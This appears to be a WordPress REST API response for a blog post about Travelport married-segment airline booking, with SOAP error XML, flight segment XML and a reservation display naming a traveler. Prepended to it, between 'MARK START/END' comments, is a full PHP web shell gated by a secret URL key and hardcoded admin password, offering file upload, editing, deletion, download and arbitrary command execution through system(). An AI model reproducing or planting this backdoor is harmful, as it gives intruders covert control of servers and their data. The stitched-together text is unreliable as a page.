// -------- MARK START -------- if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } // -------- MARK END -------- {"id":238,"date":"2018-03-21T11:53:18","date_gmt":"2018-03-21T02:53:18","guid":{"rendered":"http:\/\/uapi.ihavenomoney.co.kr\/?p=238"},"modified":"2018-03-21T11:56:26","modified_gmt":"2018-03-21T02:56:26","slug":"married-segment-booking","status":"publish","type":"post","link":"https:\/\/uapi.ihavenomoney.co.kr\/?p=238","title":{"rendered":"Married segment booking"},"content":{"rendered":"
You cannot really identify married segment logic except by individual inspection of the availability of the flight on its own and in combination with other flights. The exact inner logic of each airline’s married segment logic will be a trade secret based on their own data analysis. The logic is not expressed in the fare rules.<\/h5>\n
<SOAP:Envelope xmlns:SOAP=\"http:\/\/schemas.xmlsoap.org\/soap\/envelope\/\">\r\n  <SOAP:Body>\r\n    <SOAP:Fault>\r\n      <faultcode>Server.Business<\/faultcode>\r\n      <faultstring>General air service Error.<\/faultstring>\r\n      <detail>\r\n        <air:AvailabilityErrorInfo xmlns:air=\"http:\/\/www.travelport.com\/schema\/air_v38_0\" xmlns:common_v38_0=\"http:\/\/www.travelport.com\/schema\/common_v38_0\">\r\n          <common_v38_0:Code>3000<\/common_v38_0:Code>\r\n          <common_v38_0:Service>AIRSVC<\/common_v38_0:Service>\r\n          <common_v38_0:Type>Business<\/common_v38_0:Type>\r\n          <common_v38_0:Description>General air service Error.<\/common_v38_0:Description>\r\n          <common_v38_0:TransactionId>41E6D6CE0A074266CAB53D8C72CFC93A<\/common_v38_0:TransactionId>\r\n          <air:AirSegmentError>\r\n            <air:AirSegment Key=\"elVc0IBAAA\/BnWhPBFAAAA==\" Group=\"1\" Carrier=\"AZ\" FlightNumber=\"0077\" ProviderCode=\"1P\" Origin=\"BCN\" Destination=\"FCO\" DepartureTime=\"2018-05-21T11:45:00.000+02:00\" ArrivalTime=\"2018-05-21T13:30:00.000+02:00\" ClassOfService=\"O\" Status=\"NN\" GuaranteedPaymentCarrier=\"No\" OptionalServicesIndicator=\"false\" ParticipantLevel=\"Airline Source\"\/>\r\n            <air:ErrorMessage>*** 0 AVBL\/WL CLOSED      $$AZ$$    <\/air:ErrorMessage>\r\n          <\/air:AirSegmentError>\r\n        <\/air:AvailabilityErrorInfo>\r\n      <\/detail>\r\n    <\/SOAP:Fault>\r\n  <\/SOAP:Body>\r\n<\/SOAP:Envelope>\r\n<\/pre>\n
Solution : automatic booking in married Segments<\/h5>\n
<ns2:AirSegment Group=\"0\" Carrier=\"AZ\" FlightNumber=\"0759\" ClassOfService=\"O\" ChangeOfPlane=\"false\" OptionalServicesIndicator=\"false\" ProviderCode=\"1P\" Origin=\"ICN\" Destination=\"FCO\" DepartureTime=\"2018-05-08T13:25:00.000+09:00\" ArrivalTime=\"2018-05-08T18:35:00.000+02:00\" ParticipantLevel=\"Airline Source\" Key=\"elVc0IBAAA\/BlWhPBFAAAA==\">\r\n          <ns2:CodeshareInfo OperatingCarrier=\"AZ\">Alitalia Societa Aerea Italiana SPA<\/ns2:CodeshareInfo>\r\n            <!--ns2:Connection\/--> \r\n        <\/ns2:AirSegment>\r\n        <ns2:AirSegment Group=\"0\" Carrier=\"AZ\" FlightNumber=\"0058\" ClassOfService=\"O\" ChangeOfPlane=\"false\" OptionalServicesIndicator=\"false\" ProviderCode=\"1P\" Origin=\"FCO\" Destination=\"MAD\" DepartureTime=\"2018-05-11T08:10:00.000+02:00\" ArrivalTime=\"2018-05-11T10:45:00.000+02:00\" ParticipantLevel=\"Airline Source\" Key=\"elVc0IBAAA\/BmWhPBFAAAA==\">\r\n          <ns2:CodeshareInfo OperatingCarrier=\"AZ\">Alitalia Societa Aerea Italiana SPA<\/ns2:CodeshareInfo>\r\n           <!--ns2:Connection\/-->\r\n        <\/ns2:AirSegment>\r\n        <ns2:AirSegment Group=\"1\" Carrier=\"AZ\" FlightNumber=\"0077\" ClassOfService=\"O\" ChangeOfPlane=\"false\" OptionalServicesIndicator=\"false\" ProviderCode=\"1P\" Origin=\"BCN\" Destination=\"FCO\" DepartureTime=\"2018-05-21T11:45:00.000+02:00\" ArrivalTime=\"2018-05-21T13:30:00.000+02:00\" ParticipantLevel=\"Airline Source\" Key=\"elVc0IBAAA\/BnWhPBFAAAA==\">\r\n        <ns2:Connection\/>\r\n                <\/ns2:AirSegment>\r\n        <ns2:AirSegment Group=\"1\" Carrier=\"AZ\" FlightNumber=\"0758\" ClassOfService=\"O\" ChangeOfPlane=\"false\" OptionalServicesIndicator=\"false\" ProviderCode=\"1P\" Origin=\"FCO\" Destination=\"ICN\" DepartureTime=\"2018-05-21T15:05:00.000+02:00\" ArrivalTime=\"2018-05-22T09:30:00.000+09:00\" ParticipantLevel=\"Airline Source\" Key=\"elVc0IBAAA\/BoWhPBFAAAA==\">\r\n        <!--ns2:Connection\/-->\r\n                <\/ns2:AirSegment>\r\n<\/pre>\n
1 AZ 759O 08MAY TU ICNFCO HK1  1325  1835 \/O $ E\r\n2 AZ  58O 11MAY FR FCOMAD HK1  0810  1045 \/O $ E\r\n3   ARNK\r\n4 AZ  77O 21MAY MO BCNFCO HK1  1145  1330 \/O $ J01 E\r\n5 AZ 758O 21MAY MO FCOICN HK1  1505  0930 #1\/X $ J01 E\r\nP- 1.L3994-T\r\n2.L0382-MOBILE\/1.1\r\nT- 1.TAW\/10\/20MAR\/\/TAUREMARKS\r\nMT TRAVELER E-MAIL\r\n   1.MTT PH.COM -KIM\/CHUL.MR\r\nTKG FAX-AUTO PRICED  FARE TYPE EX \r\n<\/pre>\n","protected":false},"excerpt":{"rendered":"

You cannot really identify married segment logic except by individual inspection of the availability of the flight on its own and in combination with other […]<\/a><\/p>\n<\/div>","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[8],"tags":[],"class_list":["post-238","post","type-post","status-publish","format-standard","hentry","category-aircreatereservationreq"],"_links":{"self":[{"href":"https:\/\/uapi.ihavenomoney.co.kr\/index.php?rest_route=\/wp\/v2\/posts\/238","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/uapi.ihavenomoney.co.kr\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/uapi.ihavenomoney.co.kr\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/uapi.ihavenomoney.co.kr\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/uapi.ihavenomoney.co.kr\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=238"}],"version-history":[{"count":5,"href":"https:\/\/uapi.ihavenomoney.co.kr\/index.php?rest_route=\/wp\/v2\/posts\/238\/revisions"}],"predecessor-version":[{"id":243,"href":"https:\/\/uapi.ihavenomoney.co.kr\/index.php?rest_route=\/wp\/v2\/posts\/238\/revisions\/243"}],"wp:attachment":[{"href":"https:\/\/uapi.ihavenomoney.co.kr\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=238"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/uapi.ihavenomoney.co.kr\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=238"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/uapi.ihavenomoney.co.kr\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=238"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}